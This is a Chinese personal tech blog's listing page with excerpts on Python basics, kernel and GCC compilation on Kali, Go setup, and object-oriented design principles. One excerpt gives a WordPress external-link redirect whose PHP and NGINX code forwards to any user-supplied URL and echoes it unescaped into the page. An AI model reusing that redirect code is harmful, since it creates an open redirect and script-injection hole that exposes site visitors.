首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,459 阅读
2
Cloudflare SAAS 接入自选教程
2,145 阅读
3
兽装曲腿制作文档
1,980 阅读
4
Frpc使用XTCP不通过服务器传输
1,835 阅读
5
CloudFront CDN配置教程
1,178 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
46
篇与
的结果
2021-01-02
Python 的基本语法与变量(1)
Python 简介Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。Python 的设计具有很强的可读性,相比其他语言经常使用英文关键字,其他语言的一些标点符号,它具有比其他语言更有特色语法结构。Python 是一种解释型语言: 这意味着开发过程中没有了编译这个环节。类似于PHP和Perl语言。Python 是交互式语言: 这意味着,您可以在一个 Python 提示符 >>> 后直接执行代码。Python 是面向对象语言: 这意味着Python支持面向对象的风格或代码封装在对象的编程技术。Python 是初学者的语言:Python 对初级程序员而言,是一种伟大的语言,它支持广泛的应用程序开发,从简单的文字处理到 WWW 浏览器再到游戏。 Python 发展历史Python 是由 Guido van Rossum 在八十年代末和九十年代初,在荷兰国家数学和计算机科学研究所设计出来的。Python 本身也是由诸多其他语言发展而来的,这包括 ABC、Modula-3、C、C++、Algol-68、SmallTalk、Unix shell 和其他的脚本语言等等。像 Perl 语言一样,Python 源代码同样遵循 GPL(GNU General Public License)协议。现在 Python 是由一个核心开发团队在维护,Guido van Rossum 仍然占据着至关重要的作用,指导其进展。Python 2.7 被确定为最后一个 Python 2.x 版本,它除了支持 Python 2.x 语法外,还支持部分 Python 3.1 语法。 Python 特点1.易于学习:Python有相对较少的关键字,结构简单,和一个明确定义的语法,学习起来更加简单。2.易于阅读:Python代码定义的更清晰。3.易于维护:Python的成功在于它的源代码是相当容易维护的。4.一个广泛的标准库:Python的最大的优势之一是丰富的库,跨平台的,在UNIX,Windows和Macintosh兼容很好。5.互动模式:互动模式的支持,您可以从终端输入执行代码并获得结果的语言,互动的测试和调试代码片断。6.可移植:基于其开放源代码的特性,Python已经被移植(也就是使其工作)到许多平台。7.可扩展:如果你需要一段运行很快的关键代码,或者是想要编写一些不愿开放的算法,你可以使用C或C++完成那部分程序,然后从你的Python程序中调用。8.数据库:Python提供所有主要的商业数据库的接口。9.GUI编程:Python支持GUI可以创建和移植到许多系统调用。10.可嵌入:你可以将Python嵌入到C/C++程序,让你的程序的用户获得"脚本化"的能力。python的安装Python可应用于多平台包括 Linux 和 Mac OS X。你可以通过终端窗口输入 "python" 命令来查看本地是否已经安装Python以及Python的安装版本。Unix (Solaris, Linux, FreeBSD, AIX, HP/UX, SunOS, IRIX, 等等。)Win 9x/NT/2000Macintosh (Intel, PPC, 68K)OS/2DOS (多个DOS版本)PalmOSNokia 移动手机Windows CEAcorn/RISC OSBeOSAmigaVMS/OpenVMSQNXVxWorksPsionPython 同样可以移植到 Java 和 .NET 虚拟机上。Ubuntu/Debian : sudo apt-get install python3Centos/RedHat:yum -y install gcc patch libffi-devel python-devel zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel yum -y install zlib* yum -y install python-setuptools yum -y install python3Windows:前往https://www.python.org/downloads/windows/选择版本下载集成开发环境(IDE:Integrated Development Environment): PyCharm(可选)PyCharm 是由 JetBrains 打造的一款 Python IDE,支持 macOS、 Windows、 Linux 系统。PyCharm 功能 : 调试、语法高亮、Project管理、代码跳转、智能提示、自动完成、单元测试、版本控制……PyCharm 下载地址 : https://www.jetbrains.com/pycharm/download/Python基本语法与变量1、Python解释器交互式编程如下交互式界面即直接输入Python命令不输入文件名,或默认ide的页面这样就出现了解释器的 >>> 提示符 ,如上图即为默认图形IDE的交互模式可以使用exit() Ctrl+Z Ctrl+D的方式退出2、Python的保留字和标识符标识符:以英文大小写或小写字母或下划线“_”开始,后面可跟随数个字母数字或下划线Python不允许使用特殊标点符号出现在标识符里头,如:@%$等,且Python区分大小写,意义相同,但是大小写不同的两个标识符是完全不同的,如man和Man当标识符用作模块名时,应尽量短小,并且全部使用小写字母,可以使用下划线分割多个字母,例如 game_mian、game_register 等。当标识符用作包的名称时,应尽量短小,也全部使用小写字母,不推荐使用下划线,例如 com.mr、com.mr.book 等。当标识符用作类名时,应采用单词首字母大写的形式。例如,定义一个图书类,可以命名为 Book。模块内部的类名,可以采用 "下划线+首字母大写" 的形式,如 _Book;函数名、类中的属性名和方法名,应全部使用小写字母,多个单词之间可以用下划线分割;常量命名应全部使用大写字母,单词之间可以用下划线分割;除了注意标识符的规范外,还有保留关键字不能与标识符相同。保留关键字:保留关键字可通过运行下列代码查看import keyword keyword.kwlist所以:andasassertbreakclasscontinuedefdelelifelseexceptfinallyforfromFalseglobalifimportinislambdanonlocalnotNoneorpassraisereturntryTruewhilewithyield都是保留关键字,但是前文有说道,Python是区分大小写的,如果非要使用,可以使用大写混合的方法,如if和IF3、Python语句的缩进Pyhton语言与Java、C#等编程语言最大的不同点是,Python代码块使用缩进对齐表示代码逻辑,而不是使用大括号。这对习惯用大括号表示代码块的程序员来说,确实是学习Python的一个障碍。Python每段代码块缩进的空白数量可以任意,但要确保同段代码块语句必须包含相同的缩进空白数量。例如:建议在代码块的每个缩进层次使用单个制表符或两个空格或四个空格 , 切记不能混用。否则可能出现如图这种这种错误(将print前的制表符删除了):
2021年01月02日
24 阅读
1 评论
0 点赞
2020-12-23
将Wordpress文章的外链转为内链(NGINX版)
我们在wordpress网站很多的文章需要跳转外链的资料、或者跳转外链的下载,所以在维护的时候,文章内编写的外链是不可避免的。一般来说,我们在除了友情链接之外的外部连接之外,大部分的外链都会多多少少的分散网站的权重你或许看见过类似https://www..com/goto.php?https://www.***.com形式的跳转链接,这样是为了站点的SEO能够对各种搜索引擎更友好,术语好像就是叫做外链跳转。更重要的是起到了保护自己域名权重的目的。一、给出NGINX跳转版的配置方法首先打开你站点的NGINX配置文件(仅限使用NGINXweb服务的道友)在location的配置块里面,添加一个新的location块代码如下location ~ ^/goto/* { if ($request_method != GET) { return 403; } rewrite ^ $arg_url? redirect; }这段配置文件就能实现将参数url后的地址读取后302跳转,并且抛弃除GET外的请求二、如果您用得是apache等类型的服务器可以在根目录下新建goto文件夹,在里面新建一个index.php文件(当然其他的的地址也是可以,需要在第三框的步骤中修改成你的地址)添加如下内容:<?php header("location:".$_GET["url"]); ?>美观一点也是可以的: <?php $url = $_GET['url']; ?> <html> <head> <meta charset=utf-8 /> <meta name="robots" content="nofollow"> <meta http-equiv="refresh" content="0.1;url=<?php echo $url; ?>"> <title>正在为您跳转……</title> <style> body{background:#000}.loading{-webkit-animation:fadein 2s;-moz-animation:fadein 2s;-o-animation:fadein 2s;animation:fadein 2s}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-o-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.spinner-wrapper{position:absolute;top:0;left:0;z-index:300;height:100%;min-width:100%;min-height:100%;background:rgba(255,255,255,0.93)}.spinner-text{position:absolute;top:41.5%;left:47%;margin:16px 0 0 35px;color:#BBB;letter-spacing:1px;font-weight:700;font-size:9px;font-family:Arial}.spinner{position:absolute;top:40%;left:45%;display:block;margin:0;width:1px;height:1px;border:25px solid rgba(100,100,100,0.2);-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;border-left-color:transparent;border-right-color:transparent;-webkit-animation:spin 1.5s infinite;-moz-animation:spin 1.5s infinite;animation:spin 1.5s infinite}@-webkit-keyframes spin{0%,100%{-webkit-transform:rotate(0deg) scale(1)}50%{-webkit-transform:rotate(720deg) scale(0.6)}}@-moz-keyframes spin{0%,100%{-moz-transform:rotate(0deg) scale(1)}50%{-moz-transform:rotate(720deg) scale(0.6)}}@-o-keyframes spin{0%,100%{-o-transform:rotate(0deg) scale(1)}50%{-o-transform:rotate(720deg) scale(0.6)}}@keyframes spin{0%,100%{transform:rotate(0deg) scale(1)}50%{transform:rotate(720deg) scale(0.6)}} </style> </head> <body> <div class="loading"> <div class="spinner-wrapper"> <span class="spinner-text">加载中...</span> <span class="spinner"></span> </div </div> </body> </html>三、主题文件配置随后打开你的主题内的functions.php文件。在末尾添加如下php代码:function the_content_nofollow($content){ preg_match_all('/<a(.*?)href="(.*?)"(.*?)>/',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/goto?url=$val\" ",$content); } } } return $content; } add_filter('the_content','the_content_nofollow',999);这段代码将捕获页面链接标签内的url地址,然后进行替换操作至此,配置完成,不出意外的话,文章内的站外链接会变成这样:
2020年12月23日
74 阅读
0 评论
0 点赞
2020-11-29
Kali下载编译安装Linux5.9.11内核
1.下载最新的Linux内核小版本号为偶数是稳定版本,我们选择稳定版本下载。内核官方网站 https://www.kernel.org/,点击那个黄色的按钮就开始下载了2.环境配置在正式编译前需要安装部分软件。sudo apt update && sudo apt upgrade sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison 出现安装错误的可以分开安装3.解压缩下载完成之后,解压缩刚刚下载好的内核压缩包。解压后大概1G,提前预留充足空间。解压之后进入目录。可以先提前看下新版内核有什么变化。wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.9.11.tar.xz tar -zxf linux-5.9.11.tar.xz cd linux-5.9.11可以先用uname -r自行查看下当前内核版本4.配置内核在正式编译内核之前,我们首先必须配置需要包含哪些模块。实际上,有一些非常简单的方式来配置。使用一个命令,你能拷贝当前内核的配置文件,然后使用可靠的 menuconfig 命令来做任何必要的更改。cp /boot/config-$(uname -r) .config上述命令的意思就是拷贝对应当前内核配置到当前目录下并重命名为.config(文件名前加.意思为隐藏文件)。之后在解压后得内核目录里执行命令make menuconfig在这里可以选择启用或者禁用一些模块。如果你不知道该如何选择的话,默认退出即可。4.编译和安装退出menuconfig后,在命令行中输入make -j49命令即可开始编译。-j49意思是并发执行,可以提高速度,一般保险情况 下不要多于CPU核数。为了加快编译那就多开几个线程吧,可以是CPU内核数+1,比如四十八核就-j49。这个命令的执行会耗费很长时间。这里用的gcc版本是10.2在前面的文章中有安装好的 https://www.silverdragon.cn/?p=2019漫长的等待 笔者的使用宿主机分配了48个vCPU 只用了不到5分钟 实际机器配置低的可能需要更久如果抛出“没有规则可制作目标debian/certs/debian-uefi-certs.pem由certs/x509_certificate_list需求停止”这个错误 只需要sudo vim .config将CONFIG_SYSTEM_TRUSTED_KEYS="certs/x509_certificate_list"改成CONFIG_SYSTEM_TRUSTED_KEYS=""即可继续make编译编译完成之后首先安装模块,命令为:sudo make modules_install其次安装内核,命令为:sudo make install5.完成后启用内核作为引导输入下列命令将内核作为引导,将数字更改为你自己编译的版本号:sudo update-initramfs -c -k 5.9.11下面更新一下grub:sudo update-grub6.检查内核是否安装成功之后重启即可在启动界面选择需要启动的内核5.9.11。确认下内核版本参考资料:https://blog.csdn.net/qq_37748570/article/details/108118284
2020年11月29日
178 阅读
1 评论
0 点赞
2020-11-29
Kali中编译安装GCC10.2.0
一切都和其他源码安装软件是一样的:一、下载解压源代码:mkdir gcc10 && cd gcc10 wget http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.gz tar xvf gcc-10.2.0.tar.gz二、配置安装路径:sudo vim /etc/profile export PATH="/usr/local/gcc-10.2/bin:$PATH"三、源码自动配置:cd gcc-10.2.0/ ./contrib/download_prerequisites正常的话,会下载几个包,然后系统会提示gmp-6.1.0.tar.bz2: 成功 mpfr-3.1.4.tar.bz2: 成功 mpc-1.0.3.tar.gz: 成功 isl-0.18.tar.bz2: 成功 All prerequisites downloaded successfully. 四、准备编译:cd .. mkdir temp_gcc10.2 && cd temp_gcc10.2 ../gcc-10.2.0/configure --prefix=/usr/local/gcc-10.2 --enable-threads=posix --disable-checking --disable-multilib //允许多线程 make //当然可以加个-j多线程编译 这里生成的目录有6-8G sudo make install不出意外的话,执行make后,就开始编译了大概十几分钟,半个小时这样就完成了九、做个链接:which gcc //查看旧安装目录备份旧版本gcc 替换新版本mv /usr/bin/gcc /usr/bin/gcc_old mv /usr/bin/g++ /usr/bin/g++_old ln -s /usr/local/gcc-10.2/bin/gcc /usr/bin/gcc ln -s /usr/local/gcc-10.2/bin/g++ /usr/bin/g++更换成功,编译一个helloworld试试正常
2020年11月29日
191 阅读
0 评论
0 点赞
2020-07-24
搭建Go语言开发环境
Golang是啥?Go(又称 Golang)是 Google 的 Robert Griesemer,Rob Pike 及 Ken Thompson 开发的一种静态强类型、编译型语言。Go 语言语法与 C 相近,但功能上有:内存安全,GC(垃圾回收),结构形态及 CSP-style 并发计算。一、安装1.下载推官网下载:https://golang.org/dl/或者使用镜像站点(推荐,速度较快):https://golang.google.cn/dl/这里介绍的是Window开发环境(笔者懒得用Linux开发了(反正可以跨平台交叉编译))我是X64 Windows平台,,,一路next,再改一下路径就好。安装完成后,进入终端 用go version验证是否安装成功2.配置GOPATH类似的,和安装Java的环境类似,需要我们配置环境变量GOPATH路径最好只设置一个,所有的项目代码都放到GOPATH的src目录下。搞定,这样一来,在进行Go开发的时候,我们的代码总是会保存在$GOPATH/src目录下。在工程经过go build、go install或go get等指令后,会将下载的第三方包源代码文件放在$GOPATH/src目录下, 产生的二进制可执行文件放在 $GOPATH/bin目录下,生成的中间缓存文件会被保存在 $GOPATH/pkg 下。ps:下一篇,在IDE中开发编辑GO项目
2020年07月24日
82 阅读
0 评论
0 点赞
2020-05-03
开发六大原则
里氏替换原则里氏替换原则,OCP作为OO的高层原则,主张使用“抽象(Abstraction)”和“多态(Polymorphism)”将设计中的静态结构改为动态结构,维持设计的封闭性。“抽象”是语言提供的功能。“多态”由继承语义实现。里氏替换原则中说,任何基类可以出现的地方,子类一定可以出现。 LSP是继承复用的基石,只有当衍生类可以替换掉基类,软件单位的功能不受到影响时,基类才能真正被复用,而衍生类也能够在基类的基础上增加新的行为。 如此,问题产生了:“我们如何去度量继承关系的质量?” Liskov于1987年提出了一个关于继承的原则“Inheritance should ensure that any property proved about supertype objects also holds for subtype objects.”——“继承必须确保超类所拥有的性质在子类中仍然成立。”也就是说,当一个子类的实例应该能够替换任何其超类的实例时,它们之间才具有is-A关系。 该原则称为Liskov Substitution Principle——里氏替换原则。表明了OO的继承与日常生活中的继承的本质区别。举一个例子:生物学的分类体系中把企鹅归属为鸟类。我们模仿这个体系,设计出这样的类和关系。 类“鸟”中有个方法fly,企鹅自然也继承了这个方法,可是企鹅不能飞阿,于是,我们在企鹅的类中覆盖了fly方法,告诉方法的调用者:企鹅是不会飞的。这完全符合常理。但是,这违反了LSP,企鹅是鸟的子类,可是企鹅却不能飞!需要注意的是,此处的“鸟”已经不再是生物学中的鸟了,它是软件中的一个类、一个抽象。 有人会说,企鹅不能飞很正常啊,而且这样编写代码也能正常编译,只要在使用这个类的客户代码中加一句判断就行了。但是,这就是问题所在!首先,客户代码和“企鹅”的代码很有可能不是同时设计的,在当今软件外包一层又一层的开发模式下,你甚至根本不知道两个模块的原产地是哪里,也就谈不上去修改客户代码了。客户程序很可能是遗留系统的一部分,很可能已经不再维护,如果因为设计出这么一个“企鹅”而导致必须修改客户代码,谁应该承担这部分责任呢?(大概是上帝吧,谁叫他让“企鹅”不能飞的。^_^)“修改客户代码”直接违反了OCP,这就是OCP的重要性。违反LSP将使既有的设计不能封闭!定义 1如果对每一个类型为 T1的对象 o1,都有类型为 T2 的对象o2,使得以 T1定义的所有程序 P 在所有的对象 o1 都代换成 o2 时,程序 P 的行为没有发生变化,那么类型 T2 是类型 T1 的子类型。定义 2所有引用基类的地方必须能透明地使用其子类的对象。问题由来有一功能P1,由类A完成。现需要将功能P1进行扩展,扩展后的功能为P,其中P由原有功能P1与新功能P2组成。新功能P由类A的子类B来完成,则子类B在完成新功能P2的同时,有可能会导致原有功能P1发生故障。解决方案当使用继承时,遵循里氏替换原则。类B继承类A时,除添加新的方法完成新增功能P2外,尽量不要重写父类A的方法,也尽量不要重载父类A的方法。继承包含这样一层含义:父类中凡是已经实现好的方法(相对于抽象方法而言),实际上是在设定一系列的规范和契约,虽然它不强制要求所有的子类必须遵从这些契约,但是如果子类对这些非抽象方法任意修改,就会对整个继承体系造成破坏。而里氏替换原则就是表达了这一层含义。继承作为面向对象三大特性之一,在给程序设计带来巨大便利的同时,也带来了弊端。比如使用继承会给程序带来侵入性,程序的可移植性降低,增加了对象间的耦合性,如果一个类被其他的类所继承,则当这个类需要修改时,必须考虑到所有的子类,并且父类修改后,所有涉及到子类的功能都有可能会产生故障。举例说明继承的风险,我们需要完成一个两数相减的功能,由类A来负责。 class A{ public int func1(int a, int b){ return a-b; } } public class Client{ public static void main(String[] args){ A a = new A(); System.out.println("100-50="+a.func1(100, 50)); System.out.println("100-80="+a.func1(100, 80)); } }运行结果:100-50=50 100-80=20后来,我们需要增加一个新的功能:完成两数相加,然后再与100求和,由类B来负责。即类B需要完成两个功能:两数相减。两数相加,然后再加100。由于类A已经实现了第一个功能,所以类B继承类A后,只需要再完成第二个功能就可以了,代码如下: class B extends A{ public int func1(int a, int b){ return a+b; } public int func2(int a, int b){ return func1(a,b)+100; } } public class Client{ public static void main(String[] args){ B b = new B(); System.out.println("100-50="+b.func1(100, 50)); System.out.println("100-80="+b.func1(100, 80)); System.out.println("100+20+100="+b.func2(100, 20)); } }类B完成后,运行结果:100-50=150 100-80=180 100+20+100=220我们发现原本运行正常的相减功能发生了错误。原因就是类B在给方法起名时无意中重写了父类的方法,造成所有运行相减功能的代码全部调用了类B重写后的方法,造成原本运行正常的功能出现了错误。在本例中,引用基类A完成的功能,换成子类B之后,发生了异常。在实际编程中,我们常常会通过重写父类的方法来完成新的功能,这样写起来虽然简单,但是整个继承体系的可复用性会比较差,特别是运用多态比较频繁时,程序运行出错的几率非常大。如果非要重写父类的方法,比较通用的做法是:原来的父类和子类都继承一个更通俗的基类,原有的继承关系去掉,采用依赖、聚合,组合等关系代替。里氏替换原则通俗的来讲就是:子类可以扩展父类的功能,但不能改变父类原有的功能。它包含以下4层含义:子类可以实现父类的抽象方法,但不能覆盖父类的非抽象方法。子类中可以增加自己特有的方法。当子类的方法重载父类的方法时,方法的前置条件(即方法的形参)要比父类方法的输入参数更宽松。当子类的方法实现父类的抽象方法时,方法的后置条件(即方法的返回值)要比父类更严格。看上去很不可思议,因为我们会发现在自己编程中常常会违反里氏替换原则,程序照样跑的好好的。所以大家都会产生这样的疑问,假如我非要不遵循里氏替换原则会有什么后果?后果就是:你写的代码出问题的几率将会大大增加。开闭原则在面向对象编程领域中,开闭原则规定“软件中的对象(类,模块,函数等等)应该对于扩展是开放的,但是对于修改是封闭的”,这意味着一个实体是允许在不改变它的源代码的前提下变更它的行为。该特性在产品化的环境中是特别有价值的,在这种环境中,改变源代码需要代码审查,单元测试以及诸如此类的用以确保产品使用质量的过程。遵循这种原则的代码在扩展时并不发生改变,因此无需上述的过程。定义一个软件实体如类、模块和函数应该对扩展开放,对修改关闭。问题由来在软件的生命周期内,因为变化、升级和维护等原因需要对软件原有代码进行修改时,可能会给旧代码中引入错误,也可能会使我们不得不对整个功能进行重构,并且需要原有代码经过重新测试。解决方案当软件需要变化时,尽量通过扩展软件实体的行为来实现变化,而不是通过修改已有的代码来实现变化。开闭原则是面向对象设计中最基础的设计原则,它指导我们如何建立稳定灵活的系统。开闭原则可能是设计模式六项原则中定义最模糊的一个了,它只告诉我们对扩展开放,对修改关闭,可是到底如何才能做到对扩展开放,对修改关闭,并没有明确的告诉我们。以前,如果有人告诉我”你进行设计的时候一定要遵守开闭原则”,我会觉的他什么都没说,但貌似又什么都说了。因为开闭原则真的太虚了。在仔细思考以及仔细阅读很多设计模式的文章后,终于对开闭原则有了一点认识。其实,我们遵循设计模式前面5大原则,以及使用23种设计模式的目的就是遵循开闭原则。也就是说,只要我们对前面5项原则遵守的好了,设计出的软件自然是符合开闭原则的,这个开闭原则更像是前面五项原则遵守程度的”平均得分”,前面5项原则遵守的好,平均分自然就高,说明软件设计开闭原则遵守的好;如果前面5项原则遵守的不好,则说明开闭原则遵守的不好。其实笔者认为,开闭原则无非就是想表达这样一层意思:用抽象构建框架,用实现扩展细节。因为抽象灵活性好,适应性广,只要抽象的合理,可以基本保持软件架构的稳定。而软件中易变的细节,我们用从抽象派生的实现类来进行扩展,当软件需要发生变化时,我们只需要根据需求重新派生一个实现类来扩展就可以了。当然前提是我们的抽象要合理,要对需求的变更有前瞻性和预见性才行。说到这里,再回想一下前面说的5项原则,恰恰是告诉我们用抽象构建框架,用实现扩展细节的注意事项而已:单一职责原则告诉我们实现类要职责单一;里氏替换原则告诉我们不要破坏继承体系;依赖倒置原则告诉我们要面向接口编程;接口隔离原则告诉我们在设计接口的时候要精简单一;迪米特法则告诉我们要降低耦合。而开闭原则是总纲,他告诉我们要对扩展开放,对修改关闭。最后说明一下如何去遵守这六个原则。对这六个原则的遵守并不是是和否的问题,而是多和少的问题,也就是说,我们一般不会说有没有遵守,而是说遵守程度的多少。任何事都是过犹不及,设计模式的六个设计原则也是一样,制定这六个原则的目的并不是要我们刻板的遵守他们,而需要根据实际情况灵活运用。对他们的遵守程度只要在一个合理的范围内,就算是良好的设计。我们用一幅图来说明一下。图中的每一条维度各代表一项原则,我们依据对这项原则的遵守程度在维度上画一个点,则如果对这项原则遵守的合理的话,这个点应该落在红色的同心圆内部;如果遵守的差,点将会在小圆内部;如果过度遵守,点将会落在大圆外部。一个良好的设计体现在图中,应该是六个顶点都在同心圆中的六边形。在上图中,设计1、设计2属于良好的设计,他们对六项原则的遵守程度都在合理的范围内;设计3、设计4设计虽然有些不足,但也基本可以接受;设计5则严重不足,对各项原则都没有很好的遵守;而设计6则遵守过渡了,设计5和设计6都是迫切需要重构的设计。迪米特法则迪米特法则可以简单说成:talk only to your immediate friends。 对于OOD来说,又被解释为下面几种方式:一个软件实体应当尽可能少的与其他实体发生相互作用。每一个软件单位对其他的单位都只有最少的知识,而且局限于那些与本单位密切相关的软件单位。 迪米特法则的初衷在于降低类之间的耦合。由于每个类尽量减少对其他类的依赖,因此,很容易使得系统的功能模块功能独立,相互之间不存在(或很少有)依赖关系。 迪米特法则不希望类之间建立直接的联系。如果真的有需要建立联系,也希望能通过它的友元类来转达。因此,应用迪米特法则有可能造成的一个后果就是:系统中存在大量的中介类,这些类之所以存在完全是为了传递类之间的相互调用关系——这在一定程度上增加了系统的复杂度。 有兴趣可以研究一下设计模式的门面模式(Facade)和中介模式(Mediator),都是迪米特法则应用的例子。 值得一提的是,虽然Ian Holland对计算机科学的贡献也仅限于这一条法则,其他方面的建树不多,但是,这一法则却不仅仅局限于计算机领域,在其他领域也同样适用。比如,美国人就在航天系统的设计中采用这一法则。定义一个对象应该对其他对象保持最少的了解。问题由来类与类之间的关系越密切,耦合度越大,当一个类发生改变时,对另一个类的影响也越大。解决方案尽量降低类与类之间的耦合。自从我们接触编程开始,就知道了软件编程的总的原则:低耦合,高内聚。无论是面向过程编程还是面向对象编程,只有使各个模块之间的耦合尽量的低,才能提高代码的复用率。低耦合的优点不言而喻,但是怎么样编程才能做到低耦合呢?那正是迪米特法则要去完成的。迪米特法则又叫最少知道原则,最早是在1987年由美国Northeastern University的Ian Holland提出。通俗的来讲,就是一个类对自己依赖的类知道的越少越好。也就是说,对于被依赖的类来说,无论逻辑多么复杂,都尽量地的将逻辑封装在类的内部,对外除了提供的public方法,不对外泄漏任何信息。迪米特法则还有一个更简单的定义:只与直接的朋友通信。首先来解释一下什么是直接的朋友:每个对象都会与其他对象有耦合关系,只要两个对象之间有耦合关系,我们就说这两个对象之间是朋友关系。耦合的方式很多,依赖、关联、组合、聚合等。其中,我们称出现成员变量、方法参数、方法返回值中的类为直接的朋友,而出现在局部变量中的类则不是直接的朋友。也就是说,陌生的类最好不要作为局部变量的形式出现在类的内部。举一个例子:有一个集团公司,下属单位有分公司和直属部门,现在要求打印出所有下属单位的员工ID。先来看一下违反迪米特法则的设计。 //总公司员工 class Employee{ private String id; public void setId(String id){ this.id = id; } public String getId(){ return id; } } //分公司员工 class SubEmployee{ private String id; public void setId(String id){ this.id = id; } public String getId(){ return id; } } class SubCompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<100; i++){ SubEmployee emp = new SubEmployee(); //为分公司人员按顺序分配一个ID emp.setId("分公司"+i); list.add(emp); } return list; } } class CompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<30; i++){ Employee emp = new Employee(); //为总公司人员按顺序分配一个ID emp.setId("总公司"+i); list.add(emp); } return list; } public void printAllEmployee(SubCompanyManager sub){ List list1 = sub.getAllEmployee(); for(SubEmployee e:list1){ System.out.println(e.getId()); } List list2 = this.getAllEmployee(); for(Employee e:list2){ System.out.println(e.getId()); } } } public class Client{ public static void main(String[] args){ CompanyManager e = new CompanyManager(); e.printAllEmployee(new SubCompanyManager()); } }现在这个设计的主要问题出在CompanyManager中,根据迪米特法则,只与直接的朋友发生通信,而SubEmployee类并不是CompanyManager类的直接朋友(以局部变量出现的耦合不属于直接朋友),从逻辑上讲总公司只与他的分公司耦合就行了,与分公司的员工并没有任何联系,这样设计显然是增加了不必要的耦合。按照迪米特法则,应该避免类中出现这样非直接朋友关系的耦合。修改后的代码如下: class SubCompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<100; i++){ SubEmployee emp = new SubEmployee(); //为分公司人员按顺序分配一个ID emp.setId("分公司"+i); list.add(emp); } return list; } public void printEmployee(){ List list = this.getAllEmployee(); for(SubEmployee e:list){ System.out.println(e.getId()); } } } class CompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<30; i++){ Employee emp = new Employee(); //为总公司人员按顺序分配一个ID emp.setId("总公司"+i); list.add(emp); } return list; } public void printAllEmployee(SubCompanyManager sub){ sub.printEmployee(); List list2 = this.getAllEmployee(); for(Employee e:list2){ System.out.println(e.getId()); } } }修改后,为分公司增加了打印人员ID的方法,总公司直接调用来打印,从而避免了与分公司的员工发生耦合。迪米特法则的初衷是降低类之间的耦合,由于每个类都减少了不必要的依赖,因此的确可以降低耦合关系。但是凡事都有度,虽然可以避免与非直接的类通信,但是要通信,必然会通过一个”中介”来发生联系,例如本例中,总公司就是通过分公司这个”中介”来与分公司的员工发生联系的。过分的使用迪米特原则,会产生大量这样的中介和传递类,导致系统复杂度变大。所以在采用迪米特法则时要反复权衡,既做到结构清晰,又要高内聚低耦合。接口隔离原则使用多个专门的接口比使用单一的总接口要好。 一个类对另外一个类的依赖性应当是建立在最小的接口上的。 一个接口代表一个角色,不应当将不同的角色都交给一个接口。没有关系的接口合并在一起,形成一个臃肿的大接口,这是对角色和接口的污染。 